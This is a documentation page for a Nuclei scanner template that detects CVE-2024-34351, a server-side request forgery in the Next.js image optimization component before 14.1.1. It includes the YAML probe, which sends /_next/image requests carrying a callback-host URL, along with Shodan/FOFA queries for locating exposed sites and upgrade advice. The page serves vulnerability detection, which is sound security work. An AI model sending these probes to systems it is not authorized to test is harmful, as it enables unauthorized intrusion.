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Next.js - Server Side Request Forgery (SSRF)

ID: CVE-2024-34351

Severity: high

Author: righettod

Tags: cve,cve2024,vercel,nextjs,ssrf

Description

Section titled “Description”

Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.

YAML Source

Section titled “YAML Source”
id: CVE-2024-34351


info:
  name: Next.js - Server Side Request Forgery (SSRF)
  author: righettod
  severity: high
  description: |
    Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.
  remediation: Upgrade to Next.js version 14.1.1 or higher.
  reference:
    - https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34351
    - https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g
    - https://github.com/vercel/next.js/commit/8f7a6ca7d21a97bc9f7a1bbe10427b5ad74b9085
    - https://github.com/vercel/next.js/pull/62561
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-34351
    cwe-id: CWE-918
    epss-score: 0.00062
    epss-percentile: 0.26843
  metadata:
    max-request: 2
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2024,vercel,nextjs,ssrf


http:
  - method: GET
    path:
      - '{{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}}'
      - '{{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}'


    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - 'http'


      - type: word
        part: body
        words:
          - "The requested resource isn't a valid image"
# digest: 4a0a00473045022100c5dcbeb9576d1644ca7d04f919776040c93a81d213153b2f86ad0a254bae1ab20220394f33d24be8990375cc749246d86518f7c3eab3d3ca7a0cc809d295c112393c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-34351.yaml"

View on Github